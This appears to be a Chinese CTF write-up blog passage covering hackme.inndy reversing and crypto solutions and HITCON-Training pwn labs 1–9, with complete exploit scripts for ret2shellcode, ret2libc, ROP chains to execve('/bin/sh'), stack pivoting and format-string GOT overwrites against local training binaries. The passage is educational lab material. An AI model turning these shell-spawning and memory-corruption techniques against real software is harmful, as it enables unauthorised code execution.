0xDE, 0x96, 0x4B, 0x83, 0x1A, 0xD6, 0xF3, 0x10, 0x9A,   0x4B, 0x8E, 0xBB, 0x2E, 0x74, 0x6D, 0x97, 0x0A, 0xCE, 0xC8,   0xC4, 0xFA, 0x4A, 0xAC, 0xB4, 0x6E, 0xDE, 0xAC, 0x58, 0xD2,   0xE1, 0x62, 0x38, 0x99, 0xAB, 0x92, 0xAE, 0xBD, 0x84, 0x52,   0x7D, 0x38, 0xFE, 0xAA, 0x6E, 0x14, 0x04, 0xA3, 0xB1, 0x72,   0xCB, 0x55, 0x97, 0x91, 0xF8, 0x31, 0x7E, 0xA9, 0x75, 0x13,   0xC0, 0xF9, 0xE2, 0x22, 0x63, 0x8F, 0xD2, 0x68, 0x3A, 0x97,   0xD7, 0x9E, 0x5B, 0xB9, 0xDE, 0xB8, 0x94, 0xA8, 0xAA, 0x34,   0x25, 0xF2, 0xC6, 0xC6, 0x81, 0xEE, 0xC8, 0x39, 0x40, 0x2B,   0x74, 0xE5, 0x52, 0x2A, 0xB9, 0x21, 0x92, 0xE8, 0x64, 0x4E,   0x24, 0x90, 0xDA, 0xD7, 0xDB, 0x67, 0x63, 0xA4, 0x8E, 0x03,   0x95, 0xD7, 0x2C, 0x87, 0x95, 0x50, 0x97, 0x8E, 0x27, 0xCC,   0x3B, 0xC7, 0x6B, 0x8E, 0x96, 0x69, 0x49, 0x07, 0x1C, 0xD1,   0x6A, 0x8E, 0x2A, 0x61, 0x26, 0xA0]
    a1 = 4284256177
    a2 = 1234567890
    a3 = 1095061718431
    v5 = 4
    flag = n2s(0x8B9551FA * a3)[::-1][:v5]
    #  print flag

    while a2:
        v3 = v5
        v5 += 1
        c = chr(((junk_data[a1 & 0xFFF] ^ a2) & 0xFF) % 128)
        #  flag += c if 0x20 <= ord(c) < 0x7f else ""
        flag += c
        #  print ord(c)
        a1 *= 77777
        a2 = a3 ^ (a2 >> 1)
        a3 >>= 1


    flag += c
    print flag
    print len(flag)
    print v5

if __name__ == "__main__":
    getInput()
    #  [a2 = 1234567890, a1 = 2136772529]
    #  [a2 = 1234567890, a1 = 4284256177]
    key3 = getKey3()
    print "key3 -> %d" % key3
    getFlag()

但奇怪的是用这个脚本没有跑出后几位flag,可能是python和C在边界处理上有区别

于是我换了一种方法,源程序中运算较慢是因为calc_key3这个函数耗费了大量的时间,把这个函数patch掉

然后在调试过程中手动给v7赋给我们计算出来的返回值,这样就可以得到flag了

0x0A unpackme

这道题目挺有意思, 需要对PE程序的结构有一些了解, 从题干已经可以知道这是一个加壳的程序,下载下来后 upx -d 脱壳失败,看来应该是壳的某些关键信息被改掉了,我们拿一个同样的 PE32(GUI) 程序加壳,比较一下文件结构,先用 strings/rabin2 -zzqq 比较两个binary的字符串,可以发现 unpackme.exe 中有很明显的人工修改过的字符串,如 CTF0, CTF1, CTF2, CTF?, !The flag is not FLAG{Hello,DOS section} 等. 放到 010editor 中使用 exe templete 分析,通过对比可以发现如假 FLAG 所说, section head被修改了,将 unpackme.exe 中的信息修改回来:

CTF0 -> UPX0
CTF1 -> UPX1
CTF2 -> .rsrc
CTF? -> UPX!
!The flag is not FLAG{Hello,DOS section} -> !This program cannot be run in DOS mode.

修改之后,就可以 upx -d 脱壳了,放入IDA中分析,可以看出关键代码如下:

    v4 = GetParent(hWnd);
    v5 = GetDlgItemTextA(v4, 101, &String, 63);
    if ( v5 )
    {
      phProv = 0;
      phHash = 0;
      if ( !CryptAcquireContextA(&phProv, 0, 0, 1u, 0xF0000000)
        || !CryptCreateHash(phProv, 0x8003u, 0, 0, &phHash)
        || !CryptHashData(phHash, (const BYTE *)&String, v5, 0)
        || !CryptGetHashParam(phHash, 2u, (BYTE *)pbData, &pdwDataLen, 0) )
      {
        ExitProcess(1u);
      }
      CryptDestroyHash(phHash);
      CryptReleaseContext(phProv, 0);
      v7 = pbData;
      v8 = &unk_4128A0;
      v9 = 12;
      while ( *(_DWORD *)v7 == *v8 )
      {
        v7 += 4;
        ++v8;
        v10 = v9 < 4;
        v9 -= 4;
        if ( v10 )
        {
          v11 = String;
          v12 = 0;
          v13 = 3;
          v14 = 2;
          do
          {
            Text[v12] = v11 ^ data[v12] ^ pbData[v12 & 0xF];
            Text[v12 + 1] = v11 ^ data[v12 + 1] ^ pbData[((_BYTE)v14 - 1) & 0xF];
            v15 = data[v14] ^ pbData[v14 & 0xF];
            v14 += 4;
            Text[v13 - 1] = v11 ^ v15;
            v16 = data[v13] ^ pbData[v13 & 0xF];
            v13 += 4;
            Text[v12 + 3] = v11 ^ v16;
            v12 += 4;
          }
          while ( v14 < 0x22 );
          if ( v12 < 0x80 )
          {
            Text[v12] = 0;
            MessageBoxA(hWnd, Text, aFlagIs, 0x40u);
            ExitProcess(0);
          }
          __report_rangecheckfailure();
          __debugbreak();
          JUMPOUT(*(_DWORD *)algn_40BDCF);
        }
      }
      MessageBoxA(hWnd, aWrongAnswer, aHackmectf_2, 0x10u);
    }

可以看出,只需满足 v8 = &unk_4128A0; 一句即可,后边的逻辑完全不用管,经过查API的文档,可以知道只需 MD5(input) == &unk_4128A0 即可, 而这个 hash 又能查出来

该数据已破解成功!
密文: 34AF0D074B17F44D1BB939765B02776F
明文: how[space]do[space]you[space]turn[space]this[space]on
数据来源: admin
用时:00:00:00.1911904

根据程序逻辑,在输入框中输入 how do you turn this on 就会弹出 flag, 但输入 flag 后又发现 check Password 按钮是灰色的不能点, 这个好办, 根据查阅 API 发现 EnableWIndow 函数做了限制, 当 EnableWindow 函数的第二个参数是 0 时, 控件无响应, 将次参数 patch 为 1 即可, 这时输入 how do you turn this on 就能弹 flag 了

多说一句, 这道题用 wine 模拟可以减少很多不必要的麻烦, 具体可以看这道题的 writeup

0x0B mov

这个题前前后后做了好几个月，后来发现是我想麻烦了，先说一下我做这道题的历程

IDA打开之后看到一堆mov，根据提示*MOV instruction is turing complete!*很容易google到这是movfuscator混淆，同时找到了去混淆的工具demovfuscator，安装后（不是太好装）发现去混淆的效果并不理想，生成的CG也似乎有问题
又google到类似题目的writeup，有使用qira，有使用perf，有使用pin，有直接从内存中抠出来的，因为最近在看fuzz的一些东西，所以想尝试使用pin解题目

大致了解了pin的工作原理后，安装好环境，开始找输入对输出的影响，这时偶然发现一个bug，输入n位字符时，这n位与flag的前n位相等即可，可利用这个特性爆破

爆破脚本

inndy_mov [master●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from subprocess import Popen, PIPE
from string import printable

ans = "FLAG{"
while True:
    if "}" in ans:
        print ans
        break

        
    for c in printable:
        f = Popen("./mov", shell = True, stdin = PIPE, stdout = PIPE)
        tmp = ans + c
        f.stdin.write(tmp + "\n")
            
        stdout, stderr = f.communicate()
        if "Good" in stdout:
            ans = tmp
            print ans
            break

实际效果也很好，不到2s就爆破出了flag

觉得使用pin的方法很巧妙，以后再补上使用pin的wp

Crypto

0x00 xor

zwhubuntu师傅告诉我这题可以用xortool解，项目地址https://github.com/hellman/xortool

主要记录一下使用方法

0x01 ffa

这个题就只想说z3大法好了。

#!/usr/bin/env python3
import sympy
import json

m = sympy.randprime(2**257, 2**258)
M = sympy.randprime(2**257, 2**258)
a, b, c = [(sympy.randprime(2**256, 2**257) % m) for _ in range(3)]

x = (a + b * 3) % m
y = (b - c * 5) % m
z = (a + c * 8) % m

flag = int(open('flag', 'rb').read().strip().hex(), 16)
p = pow(flag, a, M)
q = pow(flag, b, M)

json.dump({ key: globals()[key] for key in "Mmxyzpq" }, open('crypted', 'w'))
# {"p": 240670121804208978394996710730839069728700956824706945984819015371493837551238, "q": 63385828825643452682833619835670889340533854879683013984056508942989973395315, "M": 349579051431173103963525574908108980776346966102045838681986112083541754544269, "z": 213932962252915797768584248464896200082707350140827098890648372492180142394587, "m": 282832747915637398142431587525135167098126503327259369230840635687863475396299, "x": 254732859357467931957861825273244795556693016657393159194417526480484204095858, "y": 261877836792399836452074575192123520294695871579540257591169122727176542734080}

程序的逻辑很简单，生成了几个大随机数M, m, x, y, z, p, q，通过分析代码不难得出如果得到a或者b就能得到flag，但问题就在于，怎么求出a或者b。

刚开始的想法是通过有限域的方法化简，得到a或者b，但正要动手时转念一想，题上的约束关系都很明确，可以用z3试一下，于是写了z3求解的代码：

def getabc():
    a = BitVec("a", 265)
    b = BitVec("b", 265)
    c = BitVec("c", 265)
    x = d["x"]
    y = d["y"]
    z = d["z"]
    m = d["m"]
    #  print x, y, z
    s = Solver()
    s.add(UGT(a, pow(2, 256, m)))
    s.add(ULT(a, pow(2, 257, m)))
    s.add(UGT(b, pow(2, 256, m)))
    s.add(ULT(b, pow(2, 257, m)))
    s.add(UGT(c, pow(2, 256, m)))
    s.add(ULT(c, pow(2, 257, m)))
    s.add(x == (a + b * 3) % m)
    s.add(y == (b - c * 5) % m)
    s.add(z == (a + c * 8) % m)
    
    while s.check() == sat:
        if isPrime(s.model()[a].as_long()) and isPrime(s.model()[b].as_long()) and isPrime(s.model()[c].as_long()):
            print s.model()
        A, B, C = s.model()[a].as_long(), s.model()[b].as_long(), s.model()[c].as_long()
        s.add(Or(a != s.model()[a], b != s.model()[b], c != s.model()[c]))
    else:
        print "Finished"
        return A, B, C

有两点需要注意：

用BitVec声明变量时，首先要估算中间变量的范围，确保运算过程中数据不会溢出(如该题中使用了较大的265位)，但为了运行速度也不能过大

大整数的比较大小建议使用UGT/ULT代替>/<

本来运行的时候还替z3担心了一下会不会因为数据太大直接崩掉，但没想到用了短短的8s就跑出了结果

计算出a，b，c后，主要问题就解决了。

意识到使用flag的加密实际上是RSA时，利用a和b进行了共模攻击，很快就出flag了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from libnum import prime_test as isPrime
from libnum import n2s, xgcd, invmod
from z3 import *

d = {"p": 240670121804208978394996710730839069728700956824706945984819015371493837551238, "q": 63385828825643452682833619835670889340533854879683013984056508942989973395315, "M": 349579051431173103963525574908108980776346966102045838681986112083541754544269, "z": 213932962252915797768584248464896200082707350140827098890648372492180142394587, "m": 282832747915637398142431587525135167098126503327259369230840635687863475396299, "x": 254732859357467931957861825273244795556693016657393159194417526480484204095858, "y": 261877836792399836452074575192123520294695871579540257591169122727176542734080}

def getabc():
    a = BitVec("a", 265)
    b = BitVec("b", 265)
    c = BitVec("c", 265)
    x = d["x"]
    y = d["y"]
    z = d["z"]
    m = d["m"]
    #  print x, y, z
    s = Solver()
    s.add(UGT(a, pow(2, 256, m)))
    s.add(ULT(a, pow(2, 257, m)))
    s.add(UGT(b, pow(2, 256, m)))
    s.add(ULT(b, pow(2, 257, m)))
    s.add(UGT(c, pow(2, 256, m)))
    s.add(ULT(c, pow(2, 257, m)))
    s.add(x == (a + b * 3) % m)
    s.add(y == (b - c * 5) % m)
    s.add(z == (a + c * 8) % m)
    
    while s.check() == sat:
        if isPrime(s.model()[a].as_long()) and isPrime(s.model()[b].as_long()) and isPrime(s.model()[c].as_long()):
            print s.model()
        A, B, C = s.model()[a].as_long(), s.model()[b].as_long(), s.model()[c].as_long()
        s.add(Or(a != s.model()[a], b != s.model()[b], c != s.model()[c]))
    else:
        print "Finished"
        return A, B, C

def getFlag((a, b, c)):
    M = d["M"]
    p = d["p"]
    q = d["q"]
    s1, s2, _ = xgcd(a, b)
    if s1 < 0:
        s1 = -s1
        p = invmod(p, M)
    elif s2 < 0:
        s2 = -s2
        q = invmod(q, M)

    flag = (pow(p, s1, M) * pow(q, s2, M)) % M
    print n2s(flag)
    

if __name__ == "__main__":
    #  getabc()
    getFlag(getabc())

整个脚本也才8s左右

OwO多了一步求flag的过程，计算时间反而更短了，看来计算时间还是跟CPU的心情有关系

Programming

fast

ppc类型的题目，注意数据范围在int32范围内即可，同时注意如果使用pwntools写socket的话，没有必要recvuntil后再send，完全可以现将所有的输入输出都存到缓冲区中，最后一次性send，具体看脚本

inndy_fast [master] cat exp.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from numpy import int32
import time
import re
#  context.log_level = 'debug'

#  io = process("./fast")
io = remote("hackme.inndy.tw", 7707)

io.sendlineafter("the game.\n", "Yes I know")

ans = ""
res = ""
f = lambda x: int32(int(x))
for i in xrange(10000):
    n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ')
    #  print n1, op, n2
    io.recvline()

    if op == '+':
        #  print n1, op, n2
        ans = str(f(n1) + f(n2))
    if op == '-':
        ans = str(f(n1) - f(n2))
    if op == '*':
        ans = str(f(n1) * f(n2))
    if op == '/':
        ans = str(int(float(n1) / int(n2)))

    res += (ans + " ")

#  print res
io.sendline(res)
io.interactive()
io.close()

HITCON-Training-Writeup

Mon, 02 Jul 2018 12:05:10 +0800

HITCON-Training-Writeup

项目地址M4x’s github，欢迎 star~

复习一下二进制基础，写写 HITCON-Training 的 writeup，题目地址：https://github.com/scwuaptx/HITCON-Training

Outline

Basic Knowledge
- Introduction
  - Reverse Engineering
    - Static Analysis
    - Dynamic Analysis
  - Exploitation
  - Useful Tool
    - IDA PRO
    - GDB
    - Pwntool
  - lab 1 - sysmagic
- Section
- Compile,linking,assmbler
- Execution
  - how program get run
  - Segment
- x86 assembly
  - Calling convention
  - lab 2 - open/read/write
  - shellcoding
Stack Overflow
- Buffer Overflow
- Return to Text/Shellcode
  - lab 3 - ret2shellcode
- Protection
  - ASLR/DEP/PIE/StackGuard
- Lazy binding
- Return to Library
  - lab 4 - ret2lib
Return Oriented Programming
- ROP
  - lab 5 - simple rop
- Using ROP bypass ASLR
  - ret2plt
- Stack migration
  - lab 6 - migration
Format String Attack
- Format String
- Read from arbitrary memory
  - lab 7 - crack
- Write to arbitrary memory
  - lab 8 - craxme
- Advanced Trick
  - EBP chain
  - lab 9 - playfmt
x64 Binary Exploitation
- x64 assembly
- ROP
- Format string Attack
Heap exploitation
- Glibc memory allocator overview
- Vulnerablility on heap
  - Use after free
    - lab 10 - hacknote
  - Heap overflow
    - house of force
      - lab 11 - 1 - bamboobox1
    - unlink
      - lab 11 - 2 - bamboobox2
Advanced heap exploitation
- Fastbin attack
  - lab 12 - babysecretgarden
- Shrink the chunk
- Extend the chunk
  - lab 13 - heapcreator
- Unsortbin attack
  - lab 14 - magicheap
C++ Exploitation
- Name Mangling
- Vtable fucntion table
- Vector & String
- New & delete
- Copy constructor & assignment operator
  - lab 15 - zoo

Writeup

lab1-sysmagic

一个很简单的逆向题，看 get_flag 函数的逻辑逆回来即可，直接逆向的方法就不说了

或者经过观察，flag 的生成与输入无关，因此可以通过 patch 或者调试直接获得 flag

patch

修改关键判断即可，patch 后保存运行，输入任意值即可得 flag

调试

通过观察汇编，我们只需使下图的 cmp 满足即可，可以通过 gdb 调试，在调试过程中手动满足该条件

直接写出 gdb 脚本

lab1 [master●●] cat solve 
b *get_flag+389
r
#your input
set $eax=$edx
c
lab1 [master●●]

也可得到 flag

同时注意，IDA 对字符串的识别出了问题，修复方法可以参考 inndy 的 ROP2

lab2-orw.bin

通过查看 prctl 的 man 手册发现该程序限制了一部分系统调用，根据题目的名字 open, read, write以及IDA分析，很明显是要我们自己写读取并打印 flag 的 shellcode 了，偷个懒，直接调用 shellcraft 模块

lab2 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/m4x/HITCON-Training/LAB/lab2/testFlag")
shellcode += sc.open("esp")
#  open返回的文件文件描述符存贮在eax寄存器里 
shellcode += sc.read("eax", "esp", 0x100)
#  open读取的内容放在栈顶 
shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()
io.close()
lab2 [master●●]

该题与 pwnable.tw 的 orw 类似，那道题的 writeup 很多，因此就不说直接撸汇编的方法了

lab3-ret2sc

很简单的 ret2shellcode，程序没有开启 NX 和 canary 保护，把 shellcode 存贮在 name 这个全局变量上，并 ret 到该地址即可

lab3 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context(os = "linux", arch = "i386")

io = process("./ret2sc")

shellcode = asm(shellcraft.execve("/bin/sh"))
io.sendlineafter(":", shellcode)

payload = flat(cyclic(32), 0x804a060)
io.sendlineafter(":", payload)

io.interactive()
io.close()
lab3 [master●●]

需要注意的是，该程序中的 read 是通过 esp 寻址的，因此具体的 offset 可以通过调试查看

也可以通过 peda 的 pattern_offset/pattern_search , pwntools 的 cyclic/cyclic -l 等工具来找 offset

lab4-ret2lib

ret2libc，并且程序中已经有了一个可以查看 got 表中值的函数 See_something，直接 leak 出 libc 基址，通过 one_gadget 或者 system("/bin/sh”) 都可以 get shell，/bin/sh 可以使用 libc 中的字符串，可以通过 read 读入到内存中，也可以使用 binary 中的字符串

lab4 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcBase = int(io.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]

success("libcBase -> {:#x}".format(libcBase))
#  oneGadget = libcBase + 0x3a9fc

#  payload = flat(cyclic(60), oneGadget)
payload = flat(cyclic(60), libcBase + libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
io.sendlineafter(" :", payload)

io.interactive()
io.close()
lab4 [master●●]

lab5-simplerop

本来看程序是静态链接的，想通过 ROPgadget/ropper 等工具生成的 ropchain 一波带走，但实际操作时发现 read 函数只允许读入 100 个字符，去除 buf 到 main 函数返回地址的偏移为 32，我们一共有 100 - 32 = 68 的长度来构造 ropchain，而 ropper/ROPgadget 等自动生成的 ropchain 都大于这个长度，这就需要我们精心设计 ropchain 了，这里偷个懒，优化一下 ropper 生成的 ropchain 来缩短长度

ropper –file ./simplerop –chain “execve cmd=/bin/sh”

ROPgadget –binary ./simplerop –ropchain

先看一下 ropper 生成的 ropchain

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += '//bi'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += 'n/sh'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += p(0x00000000)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret; 
rop += rebase_0(0x000a3068)
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3068)
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; 
print rop
[INFO] rop chain generated!

简单介绍一下原理，通过一系列 pop|ret 等gadget，使得 eax = 0xb（execve 32 位下的系统调用号），ebx -> /bin/sh， ecx = edx = 0，然后通过 int 0x80 实现系统调用，执行 execve("/bin/sh”, 0, 0)，实际上构造了一个 ret2syscall 的rop chain, hackme.inndy 上也有一道类似的题目ROP2

ret2syscall 的更多细节可以参考 ctf-wiki

而当观察 ropper 等工具自动生成的 ropchain 时，会发现有很多步骤是很繁琐的，可以做出很多优化，给一个优化后的例子

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

pop_edx_ecx_ebx = 0x0806e850

rop = ''

# write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
#  rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060"

#  rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
#  rop += p(0x00000000)
#  rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
#  rop += rebase_0(0x000a3068)
#  rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
#  rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
#  rop += rebase_0(0x000a3060)
#  rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret; 
#  rop += rebase_0(0x000a3068)
#  rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
#  rop += rebase_0(0x000a3068)

# set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0"

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; 
asset len(rop) <= 100 - 32

注释都已经写在代码里了，主要优化了将 /bin/sh\x00 读入以及设置 ebx，ecx，edx 等寄存器的过程

或者直接 return 到 read 函数，将 /bin/sh\x00 read 到 bss/data 段，能得到更短的 ropchain, 解决方法有很多,不再细说

最终脚本:

lab5 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # ./simplerop
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

pop_edx_ecx_ebx = 0x0806e850

rop = ''

# write /bin/sh\x00 to 0x08048000 + 0x000a3060
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
#  rop += '//bi'
rop += '/bin'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3060)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += '/sh\x00'
rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
rop += rebase_0(0x000a3064)
rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
print "[+]write /bin/sh\x00 to 0x08048000 + 0x000a3060"

#  rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
#  rop += p(0x00000000)
#  rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
#  rop += rebase_0(0x000a3068)
#  rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
#  rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
#  rop += rebase_0(0x000a3060)
#  rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret; 
#  rop += rebase_0(0x000a3068)
#  rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
#  rop += rebase_0(0x000a3068)

# set ebx -> /bin/sh\x00, ecx = edx = 0
rop += pack('I', pop_edx_ecx_ebx)
rop += p(0)
rop += p(0)
rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x00, ecx = edx = 0"

rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
rop += p(0x0000000b)
rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; 
assert len(rop) <= 100 - 32

io = process("./simplerop")

payload = cyclic(32) + rop
io.sendlineafter(" :", payload)

io.interactive()
io.close()

lab6-migration

栈迁移的问题，可以看出这个题目比起暴力的栈溢出做了两点限制：

每次溢出只有 0x40-0x28-0x4=20 个字节的长度可以构造 ropchain

通过

1
2

  if ( count != 1337 )
    exit(1);

限制了我们只能利用一次 main 函数的溢出（如果能 leak 出栈地址的话, 可以在栈上构造 rop chain 并控制返回地址 ret 到栈上的 rop chain)

所以我们就只能通过 20 个字节的 ropchain 来进行 rop 了，关于栈迁移（又称为 stack-pivot）可以看这个 slide

ctf-wiki 上对 stack pivot 也有较为详细的介绍

我的exp：

lab6 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] 
def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)

elf = ELF("./migration")
libc = elf.libc

#  bufAddr = elf.bss()
bufAddr = 0x0804a000
readPlt = elf.plt["read"]
readGot = elf.got["read"]
putsPlt = elf.plt["puts"]
p1ret = 0x0804836d
p3ret = 0x08048569
leaveRet = 0x08048504


io = process("./migration")
#  DEBUG()
payload = flat([cyclic(0x28), bufAddr + 0x100, readPlt, leaveRet, 0, bufAddr + 0x100, 0x100])
io.sendafter(" :\n", payload)
sleep(0.1)

payload = flat([bufAddr + 0x600, putsPlt, p1ret, readGot, readPlt, leaveRet, 0, bufAddr + 0x600, 0x100])
io.send(payload)
sleep(0.1)
#  print io.recv()
libcBase = u32(io.recv()[: 4]) - libc.sym['read']
success("libcBase -> {:#x}".format(libcBase))
pause()

payload = flat([bufAddr + 0x100, readPlt, p3ret, 0, bufAddr + 0x100, 0x100, libcBase + libc.sym['system'], 0xdeadbeef, bufAddr + 0x100])
io.send(payload)
sleep(0.1)
io.send("$0\0")
sleep(0.1)

io.interactive()
io.close()

稍微解释一下，先通过主函数中可以控制的 20个字节将 esp 指针劫持到可控的 bss 段，然后就可以可以在 bss 段为所欲为了。

关于 stack-pivot，pwnable.kr 的 simple_login 是很经典的题目，放上一篇这道题的很不错的 wp

这个还有个问题，sendline 会 gg，send 就可以，在 atum 大佬的博客上找到了原因另外不建议把迁移后的栈放在 bss 段开头, 因为 stdout, stdin, stderr 等结构体往往存储在这里, 破坏这些结构体很可能会引起输入输出的错误

lab7-crack

输出 name 时有明显的格式化字符串漏洞，这个题的思路有很多，可以利用 fsb 改写 password，或者 leak 出 password，也可以直接通过 fsb，hijack puts_got 到 system(“cat flag”) 处（注意这里 printf 实际调用了 puts）

lab7 [master●●] cat hijack.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

putsGot = 0x804A01C
bullet = 0x804872B

io = process("./crack")
payload = fmtstr_payload(10, {putsGot: bullet})
io.sendlineafter(" ? ", payload)

io.sendline()
io.interactive()
io.close()
lab7 [master●●] cat overwrite.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

pwdAddr = 0x804A048
payload = fmtstr_payload(10, {pwdAddr: 6})

io = process("./crack")

io.sendlineafter(" ? ", payload)
io.sendlineafter(" :", "6")

io.interactive()
io.close()
lab7 [master●●] cat leak.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

pwdAddr = 0x804A048
payload = p32(pwdAddr) + "|%10$s||"

io = process("./crack")
io.sendlineafter(" ? ", payload)
io.recvuntil("|")
leaked = u32(io.recvuntil("||", drop = True))
io.sendlineafter(" :", str(leaked))

io.interactive()
io.close()

32位的 binary 可以直接使用 pwntools 封装好的fmtstr_payload函数：

lab8-craxme

同样是32位的 fsb，直接用 fmtstr_payload 就可以解决

lab8 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from sys import argv
context.log_level = "debug"

magicAddr = ELF("./craxme").sym["magic"]

if argv[1] == "1":
    payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
    payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})

io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()

如果想要自己实现 fmtstr_payload 功能，可以参考这篇文章

lab9-playfmt

和上一道题相比, lab9 的格式化字符串不在栈上,在全局变量 (.bss) 段, 因此我们就不能直接控制栈上的变量来进行修改 got 等行为,但可以通过控制

Breakpoint *do_fmt+64
pwndbg> stack 25
00:0000│ esp  0xffffd0c0 —▸ 0x804a060 (buf) ◂— 0xa7025 /* '%p\n' */
01:0004│      0xffffd0c4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */
02:0008│      0xffffd0c8 ◂— 0x4
03:000c│      0xffffd0cc —▸ 0x804857c (play+51) ◂— add    esp, 0x10
04:0010│      0xffffd0d0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
